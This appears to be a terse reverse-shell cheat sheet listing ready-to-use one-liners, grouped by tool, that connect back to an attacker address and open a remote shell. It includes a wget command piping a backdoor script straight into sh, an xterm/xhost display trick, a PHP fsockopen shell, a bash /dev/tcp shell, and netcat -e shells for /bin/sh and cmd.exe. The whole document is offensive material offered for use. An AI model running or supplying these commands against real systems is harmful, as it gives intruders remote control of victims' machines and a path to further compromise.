reverse shell

 wget http://<hacked server>/backdoor.sh -O | sh

xterm

xterm -display 10.0.0.1:1

@ start listener: xnest :1

@add permission to connect: xhost +victimIP

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); '

Bash

bash -i >& /dev/tcp/10.0.0.1/880 0>&1

netcat

nc 10.0.0.1 1234 -e /bin/sh

nc 10.0.0.1 1234 -e cmd.exe